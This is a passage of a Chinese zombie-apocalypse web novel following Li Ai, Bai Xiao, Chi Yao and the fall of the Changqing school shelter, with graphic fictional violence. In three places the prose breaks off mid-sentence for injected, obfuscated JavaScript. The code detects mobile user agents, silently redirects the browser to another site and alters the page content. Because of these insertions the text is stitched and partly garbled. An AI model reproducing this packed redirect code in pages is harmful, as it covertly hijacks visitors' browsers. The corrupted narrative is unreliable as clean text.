“天赋者?天赋者的肉是什么味道?我还没吃过呢!” 行尸桀桀大笑,丝毫不顾及池遥手里的刀子,再次发起攻击。 “我来找人!找一个穿黑皮夹克瘦高女人!打个商量,识相点就让我过去!” 池遥蹙起眉头,一只手挥舞小刀应对他,另一只手探至胸口。 “那个女人已经被我们吃啦!味道......” 没等行尸说完,从池遥手中瞬间出现的钢管已经刺穿了它的胸口,池遥没有一分一秒的迟疑,费力将钢管从尸体身上拔出来,再次出发。 “果然不是所有行尸都像白晓一样啊。” 38. 李艾白晓番外 “第三次了。” 站在李艾面前的女人身形瘦高,姣好的面庞上却是一副不耐烦的神色,她一只手握着一枚打火机,火星不时亮起又快速熄灭,另一手把烟盒捏得咔咔作响,却始终没有点燃手里的烟。 “李艾,这是你第三次被男人骗了。初恋男友在海外出轨,第二任骗钱跑路,现在这个你刚怀孕几个月就敢出去找小姐!你能不能长长记性啊?” 李艾最好的闺蜜白晓是典型的刀子嘴豆腐心,嘴上骂骂咧咧,却主动把怀孕几个月的李艾带回了家里。 “你那个老公什么时候拘留完出来啊?你先在我家住着,他一出来就立刻找他离婚,知道吗?” “嗯。”李艾摸着隆起的肚子,神色涣散地答应了一声。 出了这档子事,这婚是必然要离的了,尽管是性格一向软和的她也坚定这一点。 只是......孩子怎么办? 早已过了三个月,此时若是去医院也只能做引产手术,然而,李艾在了解了引产手术的详细内容后,心中产生了退缩之意。 引产与顺产几乎没有差别,不过是引产需要先用药物导致胎儿死亡,再分娩出去。 她有些舍不得。 白晓见她半天没反应,从她的动作判断出李艾的想法,试探问道。 “孩子怎么办?快五个月了是不是不太方便做手术啊?” “算了,还是留着吧。”李艾叹了口气,“都......怀这么久了,也有感情了。生下来我一个人带。” “去父留子,也行也行。”白晓摸摸下巴跟着点头。 于是,李艾就短暂的住在了白晓家里。 白晓一个人生活,独占一个两居室公寓,与李艾同居并不耽误她的日常生活。 她这个人嘴上刻薄得很,平时在外态度柔和些,但对真正关系好的亲人朋友反而是一副不屑的态度,李艾已经习惯了好朋友的性格,二人这段时间反而相处得不错。 李艾丈夫从拘留所释放的那一天,二人早早就起了床。 这一天的天气不算太好,浓重的云雾阴沉沉地压了下来,显得尤为憋闷。 白晓家在一栋商住两用的高层公寓楼,平日里进出人员很杂,很早就听到楼道里有极为嘈杂的响声,似乎还有属于人的吼叫声。 “什么情况?这么热闹?” 白晓套上外套,先一步趴在大门猫眼前,窥视着门外的情况。 李艾怀孕后行动笨重了不少,穿衣服速度也慢半拍,待她收拾齐全准备出门,却在门口看到了呆愣在大门前的白晓。 此时的她,面无血色。 “出什么事了?”李艾小声发问。 听到她的话,白晓没有反应,站在原地怔愣许久,开口时语气飘忽:“......出事了。” 具体出了什么事,白晓没有说。 他们所住的公寓楼层太高,从窗户里很难望见楼下的样子,白晓先是辗转到窗边,看了一会儿后又立刻打开手机,沉默了一会儿,突然开口。 “手机没信号了。” “什么!” 李艾打开手机,惊骇地发现手机屏幕上真的缺失了信号,她立刻反应过来,朝着门口的猫眼看去。 这会儿,走廊里嘈杂的声音全部消失了,只剩下走廊墙壁上大片大片地血迹。 白晓看到的情况说不定比她看到的还要更加恐怖。 两人都不再说话,一同留意走廊外的动静。 没过多久,走廊里又传来一声女人的尖叫,这一次听起来十分清晰,似乎离她们很近。 紧接着,房门从外面被重重敲响,外面传来了女人的叫声。 “救命!救命!” “有谁在家啊?开门!救救我!” 李艾不由地望向身边的白晓。 在听到女人的尖叫时,她的神色就立刻凝重起来。看白晓的神色,她似乎知道门外女人的身份。 “我出去看看,你回房间躲着。”白晓轻声说了一句,交代完后看着李艾回了房间,才开门走了出去。 听到开关门的响声,李艾从房间里探出头,发现客厅里已经变得空空荡荡。 白晓已经离开了。 时间一分一秒的流逝,走廊里时不时会传出恐怖的叫声,简直不像是人的喉咙能发出的声音,偶尔也能听到属于人类的尖叫声,凄厉嘶哑,尖叫戛然而止的时候,往往发出声音的人的姓名也迎来终结。 心脏扑通扑通跳个不停。 李艾仰起头来,一只手捂住胸口,眼神紧紧盯着墙上的钟表,距离白晓离开,已经过去十分钟了。 但白晓却一直没有回来。 不知道过了多久。 走廊内彻底安静了下来,连脚步声都没有了。 李艾独自一人坐在正对着大门的沙发上,目光虚虚停滞在大门上。 忽然,传来了熟悉的,按动密码锁的响声。 机械的密码声一响起来,又带动着走廊里传出了嘈杂的叫声,然而,在那些声音还没接近时,房门打开,一道瘦长的影子快速闪了进来。 是白晓。 她看上去狼狈极了,干净的衣服上此时沾满了血迹,脸色也奇差无比,不止脸色惨白,眼眶中的红血丝更是密密麻麻。 “你在客厅?”她开口说话时,声音有古怪的停滞感,不像是她平时的语气。 “我在这儿等你,你没出事吧?受伤了吗?”李艾急忙朝着白晓的方向走去,却发现她在进了房间后,一直站在玄关处,神色晦暗。 “别过来!你回房间去,不要管我。”她忽然莫名其妙地说了一句。 “丧尸降临了,我身上......刚才也发生了奇怪的变化,我不知道自己会不会变成丧尸,你不要离我太近,赶紧回房间里去!” 她说话的语速极快,盯着李艾的目光也极为陌生,是带着几分垂涎的眼神。 李艾后知后觉地,感受到了危险。 她立刻退回自己的房间里,关上门,犹豫了一会儿,在门背后开口说道。 “白晓,我每过一个小时喊你一次,如果你到时候有意识,就回应一声。” 时间仿佛被无限拉长。 “白晓,你在吗?” 每隔一小时,李艾就会隔着屋门,大声喊对方的名字。 “在。” “没事。” 最开始,白晓的回应很及时,几乎是李艾一开口,就能听到回应。 然而,到了下午,白晓的声音明显虚弱了下来。 “......在。” 她回答的时间变慢了,音量也不大。 晚上,李艾断断续续地睡着,每一次惊醒就看看时钟,然后凑到门口继续叫白晓的名字。 白晓的回应越来越慢,越来越吃力。 第二天早上一醒来,李艾就来到门口,最后一次开口问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206898|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “白晓,你还好吗?” “......嗯。” 气若游丝。 看来她没事! 李艾一把推开房门,然而,她却看到了坐在沙发上,一动不动的丧尸。 穿着白晓的衣服,留着白晓的发型,长相酷似白晓的丧尸。 丧尸明显已经听到了她开门的动静,却坐在沙发上一动不动,这一举止将它与普通丧尸区分开来,李艾眼神一亮,怀着微弱的期待,忍不住再次开了口。 “白晓?” 面庞狰狞恐怖的白晓丧尸听到声音,目光慢慢移到李艾脸上,视线疲倦极了,她盯着李艾看了一会儿,随后轻声开口。 “是我。” 白晓,彻底变了一副模样。 休息了很久之后,白晓才缓过神来,她似乎不完全是丧尸,因为她还保留着自我意识,而且还拥有了一项特殊能力,可以把别人眼中的自己伪装成其他模样。 然而,她盯着李艾的目光愈来愈露骨,有时会显露出明晃晃的贪欲,如同盯着猎物的毒蛇,让李艾脊背发寒。 变成这样的白晓似乎很不受丧尸待见,她途经的每一处地方,丧尸都会自发地避开,李艾一路跟在白晓身后,也没有丧尸攻击她。 二人一路跋涉。 最后,白晓带着她来到了一个全是丧尸的地方。 准确的说,是一个全是相貌和白晓相似,有自我意识和特殊能力的“丧尸”聚集地。 李艾被白晓关在房间里,看着白晓每天早出晚归,有时候晚上甚至彻夜不归。 她的身上渐渐沾染了大量的血腥味,无论是更换衣服,洗澡,喷香水全部消除不掉的血腥味。 李艾不知道白晓他们在做什么,白晓也从来不向她提及这些,从来到这个地方之后,李艾就再也没有离开过白晓的房间。 她渐渐发现,自己似乎是被软禁在这小小的房间里了。 白晓每晚回房间时会给李艾带回人类的食物,她从不在李艾面前进食,盯着李艾的目光却仿佛见到了一顿美餐。 在这个小房间里,对时间,对世界,对所有事物的认知都会变得模糊。 就这样,混混沌沌的过了不知道多久,有一天,李艾被回房的白晓打晕。 醒来时,她发现自己在常青中学校外的街上。 没有白晓,没有丧尸,只剩下她孤零零一个人。 她在附近找到了三个晕倒的男人,又来到常青中学避难所,新生活并不美好,每晚入睡前,她都会想到白晓。 白晓,现在还好吗? 在常青中学与付恒重逢后,李艾更加想念白晓。 白晓现在在哪儿? 她还好吗? 有没有变成丧尸? 更多的时候,她会把自己的担忧强咽下去,然而,与周围的人类相处后,她渐渐意识到。 如果待在这个避难所,恐怕一辈子都见不到白晓了。 而此时,避难所彻底崩溃。 李艾握紧了白晓的手,她能感觉到好友的手在轻微颤抖,或许是因为身受重伤,白晓的表情十分狰狞,盯着她的眼神十分恐怖,有几个瞬间,李艾产生了一种她真的变成了丧尸的错觉。 “如果真的忍不住的话……” 看着不再是人,也不是丧尸的至亲好友,李艾终于哭着说出了这句话。 “我把我的手臂给你,我们一起活下去吧!” 39. 常青中学14 此时,北城中学的校车已经绕着常青中学的围墙打了几个圈,却仍旧在校园里打转。 “程煜!什么情况?” 周文博坐在后面,看不清前面的情况,只能喊程煜的名字,坐在他里侧的吴心语扒着窗户,眉头紧缩,一言不发。 “所有的校门全都用铁链锁上了!出不去!我们想找一块不牢固的围墙直接撞开!” 站在程煜身边的林晟大声回话,声音在车厢里轰然作响。 一时,车厢内无人回话。 这话说得简单,可常青中学的围墙哪里是那么好突破的?更何况,他们乘坐的校车只是个中型客车。 常青中学往日坚固的防线,此时却成为了把他们困在此地的囚笼。 然而,没过几秒,车子一个急停,全车人都一个趔趄,但却没人出言责备程煜,他们都看到了,校车的正前方,伫立着一个瘦弱的身影,尚未成年的女孩子张开双臂,以自身为盾,拦住了校车。 “蔓蔓!” 曾在安检部门工作的林晟立刻认出了拦在校车前的人,他拉开窗户,冲对方喊话。 “避难所出事了!快上车!我们一起走!” 与此同时,校车的车门再次打开,整车人都在等待她上车。 蔓蔓点点头,朝着校车跑来。 然而,她奔跑的方向却是司机一侧的车窗,刚才林晟就是通过这边的车窗喊话的。 “不用了,把车门关上吧。”瘦弱,稚嫩的小女孩摇摇头,目光坚定地与程煜对视,“我的能力可以转移物体,你们做好准备,我现在就把你们的车转移到校外。” 她一口气说完这话,不知为何,眼神闪烁了一下,深吸一口气。 “这辆车太大,对我来说有点负担,本来应该把你们送远一点的,但恐怕只能送到围墙外,剩下的路,你们只能自己走。空间转移会有些晕眩,你们做好准备。” “已经足够了。”程煜关切地看着她,“你呢?送走了我们,你怎么办?” “我是天赋者呀,天赋者总有办法的。”蔓蔓仰起脸,惨白的小脸上露出一丝笑意,“一定要活下去啊!” “你也是。” 车门缓缓关闭,蔓蔓站在校车前,双眼紧闭,手掌贴在车子前的挡风玻璃上,深吸一口气。 紧接着,转瞬间,车窗外的场景突然成了一片模糊的虚影,下一秒,整辆车出现在了围墙外的小道上,程煜很快再次发动车子,朝着前方驶去。 而林晟的目光一直定在车外的蔓蔓身上,因此,就在蔓蔓发动能力的那一瞬间,在他的视野中心,少女瘦弱的身体如同被抽干一般歪倒在地。 他想看清究竟发生了什么,可这时车子已经顺利转移到了校外,他再也见不到那个孩子了。 “蔓蔓她.....” 他迟疑着,轻声开口,声音微弱,只有在一旁开车的程煜能够听到。 “打起精神。”程煜的声音平稳,坚定,“有那么多人为了让我们活着而努力,我们不能辜负他们的期望。” “是吗......”林晟却产生了动摇。 “可是我,好想留下。” 后半句话过于微弱,只剩下气声,连程煜都没有听见。 校园内,无人的马路上,一个瘦小的人影晃晃悠悠地爬了起来,她显然连站立都有些困难,只能佝偻着身体,双手扶着膝盖,急促地喘气。 手掌隐约发热,身体里没有一丝力气,好困,好疲惫,好想就此一睡不醒,就算死去也无所谓,但她不能停在这里。 因为—— “还有一次。” 盯着仍有余热的手掌,蔓蔓撑起身子,缓慢朝着小白楼的方向挪动。 —— 池遥费了点力气,才将钢管从新一只行尸的身体中拔了出来。 刚杀死一只行尸,就又有一只行尸挡住她的道路。 到现在为止,她已经杀了三只行尸了。 然而,她连小白楼的大门都进不去,也没看到文茵的影子,这里到处都是行尸,文茵到底去了什么地方? “文茵!” 她的嗓子已经喊不出声了,池遥吸了口气,用最大的音量再次呼喊出声。 这一次,她隐约从什么地方听到了文茵的回应,可是那实在太遥远,新出现的行尸再次阻拦住了她前行的脚步,池遥只能一边挥舞钢管,一边大声回话。 “文茵!你在哪儿?” 然而,这一次,她却听不到任何声音了。 “文茵!” 池遥后退一步,躲过行尸的爪子,忍不住又喊了一声。 钢管与行尸的手臂撞在一起,这只行尸的力气不大,但池遥的体力所剩无几,有点无力,向后趔趄几步,险些没站稳。 她已经注意到了,不同行尸保留意识的程度不同,有些行尸与人类几乎没什么差别,比如白晓。 然而,更多行尸已经被扭曲了认知,对人类的认识仅限于食物链的被捕食者,对它们而言,猎杀人类与圈养人类这种事,与人类对牲畜所做的事没有差别。 除此之外,也有变得和丧尸相似,思维钝化,只会嗷嗷叫的行尸,但行尸毕竟也是人体,不像丧尸只有砍掉脑子才能杀死。 眼前的这只行尸就与丧尸没什么差别,连完整的句子都说不出来了,但偏偏有一身蛮力,池遥有点招架不住,连连后退。 忽然,有什么声音从上空响起。 池遥忍不住后退几步,行尸以为她要逃,当即朝她扑了过来! 下一秒,有什么东西从天而降,不偏不倚,正好砸在行尸身上! 竟然是个人的模样! 池遥原本后退了几步,却在看清对方的样子时慌忙跑上前。 “文茵!” 池遥终于明白自己为什么一直看不到文茵的影子,喊她的名字明明听到了回应却看不到人。 因为她之前一直在楼顶上作战,直到刚刚从楼顶坠落。 所幸,小白楼只有三层楼,文茵浑身伤痕累累,从楼顶坠落还不至于断气,但仍旧无法起身,双眼盯着池遥,急促地呼吸,呼吸声中带着鼓风机般的嗡鸣。 池遥这时候什么都顾不上了,她扑上去,一把抓住文茵的手,将身体里所剩无几的能力拼命输送到文茵身上。 但刚刚与行尸的战斗消耗了她不少体力,文茵受的伤太重,池遥只能简单为她治疗一下,就松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228746|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了手。 “已经可以了。” 文茵深吸一口气,龇牙咧嘴地从地上爬起来,显然伤口并没有恢复多少,只能让她勉强行动。 然而,这已经耗费了池遥所剩不多的体力,松开手后,她腿一软,差点直接倒下,幸好用手中的钢管充当拐杖,才堪堪站稳。 “你怎么样?”文茵手一动,从地上抓起一把尘土,撒在被她压在身下的行尸身上,下一秒,无数砂砾变成小刀,将行尸扎成了刺猬。 池遥只看了一眼就别过头去,见文茵朝前走,想跟上去,却被文茵制止住。 “你身体没事吧?在这儿坐着,我在你前面挡着。” “我......”池遥犹豫了。 身体各处都在叫嚣着疲惫,可她现在还不能倒下,小白楼里还有行尸不停闯进来,避难所内也有行尸,文茵与庄晴都在战斗,她不能先她们一步倒下。 即便是在长宁街幼儿园的时候,她也没有感觉到如此疲惫。 “......我没事。” 最后,她只能深吸一口气,强撑着回答了一句。 背对着池遥站在她身前几步的文茵闻言回过头来,看了池遥一眼,池遥心想自己此刻的状态一定算不上好,因为她从文茵的目光中看到了担忧,但文茵什么话也没说,只是转过身去,沉默地举起了手里的小刀。 文茵身上的伤势即便经过治疗,也只是能够行动的程度,她亦是强弩之末。 站着只能消耗体力,池遥扶着钢管,席地而坐,看着文茵的背影,一时之间,竟然想不到破局的办法。 极度疲惫之下,感官也跟着变迟钝了,连视野都有些摇摇晃晃,耳边也隐隐有尖锐的声音划过耳畔,却不清楚是真的有声音还是耳鸣。 就在这样浑浑噩噩的状态下,她听到了一阵沉重的脚步声。 来人速度不快,但每一步落地时,声音都极为沉重,仿佛正在移动的庞然大物。 文茵眼看着就要招架不住,池遥慢半拍回过头,看到了一个浑身通红,仿佛正在燃烧的,人。 足足愣神几秒,她才意识到,面前这个,通体深红的人,居然是庄晴。 不知道经历了什么,庄晴身上的毛发已经尽数烧光,身上的衣服也没了踪迹,浑身的皮肤仿佛在大火里被反复淬炼的钢铁,透着不正常的暗红色。 肉眼可见的有问题。 池遥下意识就要冲到庄晴身边为她治疗,但立刻遭到了庄晴的厉声拒绝。 “别过来!” 见池遥止住了动作,她才走到文茵身旁,她的手一碰到行尸,被触碰的地方就发出了滋滋的响声,俨然已经被高温烧糊了。 “刚才杀了那个会放火的行尸,还没缓过来。池遥别接近我,你救不了我,反而会把自己烤熟。” 她轻描淡写地略过一场只需想象就注定惨烈的战斗,冲进行尸中,以近乎自毁的方式战斗着。 文茵的身体晃了晃,又费力站稳,她盯着浑身通红,已经看不出人样的庄晴,忽然轻声嗤笑了一下。 “庄晴,以前咱们结伴外出搜查的时候,还开玩笑说以后肯定会死在一块儿。” “真是,一语成谶啊。” 40. 常青中学15 “不至于吧?”庄晴的语气轻松,说出来的话却让池遥的心无限下坠,“我自身温度太高,内脏都要烧透了,估计是活不了多久了,但你看着还可以啊,说不定能撑到新避难所呢。” 听了庄晴的话,文茵似乎是想说什么,但回过头看了一眼强打精神的池遥,只是笑了笑,笑容很苦涩,没再开口。 冥冥中,她似乎已经预知到了自己的命运。 池遥几次试图站起身,都没有成功,浑身脱力,最终还是借助地上的钢管支撑,才站起身,然而她的手已经提不动钢管了。 她有一种强烈的预感,自己的能力似乎真的透支了,与行尸作战时的伤口隐隐作痛,但最痛苦的是被庄晴灼伤的手掌,她连动一下手指都会疼得受不了,只能依靠完好的另一只手行动。 “文茵!” 她有些喊不出声了,但文茵仍然注意到了她,急忙来到她身边。 “怎么了?” 池遥没力气说话,直接一把握住了文茵的手,这一次,她没有控制能力的流速,一口气将自己能够输送的能力全部输送了进去。 体力透支之后,消耗能力的感受变得更加直接,仿佛在榨取她的血液,抽干她的脊髓。 她低垂着脑袋,整个人都不受控制地发抖。 “茵茵姐,”再次开口的时候,池遥的声音轻到近乎听不见,“我身体消耗太大了,没办法离开。你一定要活下来,不止为了你自己,也为了,为了把我带出去。” 或许文茵是真的存了和庄晴一起死在这里的决意。 但只要还有一丝希望,或许文茵真的能活下来。 听闻池遥的话,文茵愣了一下,没有立刻做出回答。 行尸那边只剩庄晴一个人挡着,庄晴的动作愈发迟钝,文茵知道庄晴也无法抵挡太久了。 “我.....” 她难以组织语言,艰涩地开了个头,看向面前女孩的脸,才发现,在说出这句话以后,池遥就再也支撑不住,彻底失去了意识。 倒在地上的人面色苍白,呼吸十分微弱。 文茵最终还是什么都没说。 她只是脱掉了满是斑斑血迹的皮夹克外套,盖在了池遥身上。 皮夹克里面,是一件贴身的背心。 已然零下的温度里,文茵花费了足足几秒,上下活动手臂,扭动僵硬的腰部,在前面的庄晴轰然倒下之时,用有力的臂膀挡住了行尸的攻击,撕扯下行尸的头发,下一秒,手中的头发变成几把小刀,刺向行尸的身体。 她无暇顾及庄晴的情况,一心抵抗住面前的行尸,眼前的行尸十分棘手,它能把身体部位变成刀子,完全压制住了文茵的能力。 文茵打起十二分精神,躲避开对方的每一次攻击,心中庆幸,若不是池遥刚才的治疗,让她恢复了几分体力,恐怕她会直接葬身在这只行尸的刀子之下。 灵活地卧倒在地之时,文茵的余光瞥到了倒在地上的庄晴,庄晴自从倒下之后,就再也没有站起来。 她永远的定格在了倒下的那一瞬间。 心中陡然一沉,可此时的危机根本不允许她为同伴的死亡伤悲,她只是愣了不到一秒,挡在身前的手就被行尸手臂化成的刀子生生削去两根手指。 她眼前一黑,死死咬唇,顷刻间,朝着地上坠落的断指化成两把刀子,刺入行尸的脚背。 行尸一时没有反应过来,下一秒猝不及防地跌倒在地,文茵乘胜追击,从伤口洒落的鲜血纷纷化为刀子,扎在行尸身上,重创了它! 她的攻击彻底激怒了行尸,它怒吼一声,双手彻底变成两把巨刃,冲着她劈砍而来! 文茵灵活地闪避开来,但却有意朝远离池遥的方向迈步,将行尸引到离池遥更远的地方。 在这之后,文茵只躲闪行尸双臂巨刃的攻击,而面对其他攻击,则毫不畏惧地迎上去,利用自己受伤流出的鲜血变化成更多的刀子,朝着行尸身上刺去! 刀子几次逼近行尸的喉咙,可却统统被挡了回去,文茵深吸一口气,仰身避开自头顶扫过的巨刃,刚准备施展能力,却忽然感觉腰间一冷。 她穿的太少,长时间暴露在冷空气中,身体已经有些麻木了,可此时,腰间冰冷的温度却如此真切,如此清晰。 如此......痛苦。 在她的视野死角,行尸将瞬间变化成宽刃的脑袋变回原形,在他面前,女人的身体自腰部分离,彻底断成两截。 终究,还是它胜利了。 它将双臂的巨刃恢复成手臂,却突然感受到,喉间一凉。 瞬间,腰斩文茵时喷溅在他身上的血液,变成无数把小刀,深深刺进它的身体里。 它的喉咙里,胸口上,但凡有血迹溅到的地方,生出了无数刀子。 下一秒,行尸倒地,彻底断了气。 池遥...... 生命的最后一个节点,文茵费力地扭过头去,模糊的视线里,池遥仍旧倒在地上,生死未卜,毫无动静。 她不畏惧死亡,也做好了死在这里的准备。 可是,她还有放心不下的事。 池遥呢? 池遥怎么办? 意识消散之时,那双仍然拼命睁大的双眼中,倒映出一个摇摇晃晃走近的,瘦弱的人影。 “茵茵姐?” 稚嫩的声音,隐隐约约传入耳膜。 文茵再也听不见了。 蔓蔓走近时,第一眼看到的是身体从中间断成两截的文茵。 她侧着头,染血的面庞正对着蔓蔓的方向,睁大的眼睛已经失去了焦距,但仍未合眼,离去前最后一刻,她一定还执着地望着什么东西。 顺着文茵的眼睛看去,蔓蔓看到了墙角有一个蜷缩成一团的人影,她歪倒在角落,身上盖着文茵的外套,很难立刻注意到。 距离文茵的尸体不远处,倒着一个通体深红的人形,它看上去明显是个人的轮廓,可颜色与状态明显不是人类的样子。 蔓蔓辨认了一会儿,才认出,这是庄晴的尸体。 大家......都死了啊。 她晃晃悠悠,浑浑噩噩地朝着蜷缩起来的人影走去,没走两步,腿一软,倒在了地上。 彻底失去了起身的力气。 可她还没有确认最后一个人的状态。 挣扎了几次,蔓蔓还是放弃了直立行走,双手用力,爬到人影旁边,掀开盖在她身上的皮夹克,看到一张熟悉的面容。 是池遥。 举起的手不停发抖,本应停在她的鼻孔前,但却落在了池遥垂在身体两侧的手上。 与池遥的手相触的瞬间,有几丝温热的暖流涌入身体,蔓蔓一愣,下一秒急忙用食指去探她的鼻息。 呼吸十分微弱。 但她还活着。 身后又传来了行尸的声音,有行尸发现了她,正朝她的方向奔来,但蔓蔓此时已经不在意了。 “池遥姐姐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228747|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她握紧了池遥的双手,吐露出的话语有些哽咽。 “一定要活下去啊。” 行尸的爪子从身后穿透身体。 然而,倒在蔓蔓对面的人影却凭空消失。 蔓蔓人生中的最后一次空间转移,给了池遥。 不知过了多久。 充斥着尖叫声,哭嚎声的校园里慢慢安静了下来,陷入一片诡异的死寂。 距离常青中学一条街的某个隐蔽处,熄火的校车里,离开常青中学的人们凝神观察着一切。 “没有声音了。”吴心语咬紧牙关,说话时带着浓重的鼻音。 “大家,都怎么样了?” 这个问题无人能够回答。 为了防止遇到行尸,也避免行尸追踪车辆,校车没有选择立刻开往避难所,而是找了一个隐蔽的角落停下来,由吴心语的防护罩保护着。 校车开出这么远,除了蔓蔓,他们没有遇到一个天赋者。 守在避难所里的天赋者们,都怎么样了? 池遥又怎么样了呢? “不行。”林晟再度站起身,走到防护罩的边界,语气格外坚定,“我要回去。” 这是他们驻扎在这里不到一个小时的时间里,林晟第无数次说这话。 “你不是天赋者,你回去起不了任何作用!” 吴心语第无数次激烈地拒绝了他。 然而,这一次,林晟身旁的程煜却开了口。 “心语,开一下防护罩,让他回去吧。” “什么?这不是送死吗!”吴心语忍不住也站起身,“与其让他回去,还不如我回去看看!” “不一样。”程煜叹了口气。 “林晟他,已经做好送死的准备了。你还没有。” 吴心语不由地看向林晟。 末日降临之前,她也见过几次这人,林晟很符合她对艺术系学生的印象,散漫,不着调,独具一格。 然而,如今他的背脊挺得板板正正,往日里百无聊赖的神色也变得十分坚定。 如果这是他深思熟虑之后做的决定。 她深深地叹了口气。 “知道了。”她终于还是妥协了。 “我不会说希望你活下来这种话,你一离开防护罩,我就会默认你已经是个死人了。” “但如果,如果以后还能见到你的话,我还是会很开心的。” 林晟明白吴心语话中的担忧,闻言只拍了拍她的肩膀,转身离开。 —— 距离常青中学两条街的路段,有一处烂尾楼。 这里没有行尸驻扎,周围满是漫无目的到处游荡的丧尸,总有几只无路可走的丧尸,莫名其妙就踏上了上楼的楼梯。 上了楼,走过拐角,晃晃悠悠的丧尸忽然看到了一个人影! 一个倒在地上,生死未卜的人类! 它立刻激动起来,兴奋地奔上前,扑到人类面前,正要饱餐一顿时,却忽然被什么东西扼住脖子,提了起来。 握着丧尸脖子的手,几乎看不到皮肉,只剩下白森森的骨骼,却十分有力,只用一只手,就拧断了丧尸的脖子。 “滚开。” 低低的,嘶哑的声音,在昏暗的烂尾楼内部响起。 丧尸的头颅掉落在地,那只白骨手也跟着垂下,顺着手腕往上,隐约可以看到藏在衣袖里的手臂,同样没有皮肉,只剩下了莹白色的骨头。 与骷髅没有任何区别。 41. 二次觉醒1 庄晴,她救不了。 文茵,她也无能为力。 在小白楼救治的三个人,最后有理智的选择了自杀,没理智被行尸杀死。 这一段时间里治疗的普通人,大部分也遭到了行尸的毒手。 意识混混沌沌,仿佛被人揉面一般揉成了混乱的一团,池遥挣脱着想要从中清醒过来,然而却是徒劳。 她被困在了一片混沌当中。 过往的一个月内,她似乎做了很多很多事,但每一件事都是徒劳。 想找到的人仍旧杳无音信。 想守护的人也没有守护住。 新认识的朋友们一个接一个地离她而去。 温热的暖流逐渐被抽离身体,她只觉得自己的身体如同一个干瘪的袋子,连里面的空气都在一点一点的被抽干。 能力透支到极致,原来是这种感觉吗? 不由自主地,池遥又回想起了自己的能力。 【加速治愈:能够加快人体本身伤口自动愈合的速度,但要消耗自身的生机。注:无法治愈自己。】 她的能力还是太弱小了。 掌心一片冰冷,往日流淌在掌心中的热流彻底消失了踪影。 干涸。 从她的掌心开始,到全身每一个部位,都在叫嚣着干渴,渴望甘霖的降临。 是她的能力,她的生机在不受控制的流失。 池遥心中明白这一点,可完全控制不了脱力的身体,只能任由意识在一片漆黑当中沉沉浮浮。 突然,有什么东西贴上了她的掌心。 空荡荡的掌心似乎感受到了什么,拼命运转起来,很快,池遥感受到了熟悉的热度。 熟悉的暖流,从与她掌心相接之处,缓慢地流进了她的身体里。 “池遥!” 耳边似乎有什么嘈杂的声响,她听不清,但联想到自己的能力,她凭着仅有的理智,用尽全力将自己的手掌微微挪开一点。 一旦断开接触,就不再有新的暖流被吸收进体内,但方才那个瞬间,她已经汲取到了足够的暖意。 干涸的身体内终于再次有了温暖的热流。 “池遥?你还好吗?” 她的身体微微动弹了一下,再次失去意识。 不知道过了多久。 池遥终于睁开了眼。 在那之后,她似乎久违地睡了个好觉,这次再睁开眼时,感觉浑身精力充沛,透支的能力再度回到了身体里,不仅如此,掌心中似乎还多出了什么,蠢蠢欲动。 不仅如此,不久前与行尸战斗所受的外伤,以及手掌的烧伤,全部都自愈了。 入眼是灰扑扑的天花板,她此时似乎身在一幢陌生的烂尾楼里,远处还能看到为窗户预留的缺口,刺目的阳光就从那里照射进来。 “池遥?你醒了吗?” 身旁传来熟悉的声音。 这个声音太过熟悉,太过亲切,池遥立刻就听出了声音的主人。 “林晟!?” 她惊喜地朝着声音的源头望去。 然而,却只看到一个背对着她的人影。 背对着她坐在地上的人穿着一件长款大衣,只看外套,池遥就立刻认出了,这就是一直和她一起晨跑的那个林晟。 尽管不知道自己此时身在何处,也不知道发生了什么,但是当看到林晟的身影时,池遥却立刻安下心来。 “你为什么背对着我?” 不过,很快,她就察觉到了不对。 犹豫了几秒,背对着她的人缓慢地转过了身。 林晟看上去并没什么变化,可似乎又有什么隐隐变化了。 他的瞳仁颜色似乎微微发红,连带着脸色也微微发青,看上去有几分病态。 身上的外套从脖子以下系得很紧,因此,池遥只能看到他的脸。 “咦?你......”池遥想问他的眼睛为什么变得有点发红,她还没看出来是瞳仁本身变色,只觉得他的眼睛似乎隐隐散发红光,就像曲卓发动能力时一样。 林晟微微抬起手,去解喉咙处的外衣扣子,她这才看到林晟的手。 看到林晟的手的时候,池遥倒吸了一口凉气。 林晟学艺术,一双手是用来拿画笔的,十指修长,十分白皙好看。 然而,此时,他手上的皮肉完全消失,只剩下了白森森的骨头。 随着脖颈前的扣子被解开,池遥惊讶地发现,林晟脖子以下的身体,不知为何,皮肉全部剥落,只剩下一具骨架。 “你是......”她猛地抬头,仔细打量起他的眼睛,脱口而出的话硬生生被她咽了回去,半晌,才重新开口。 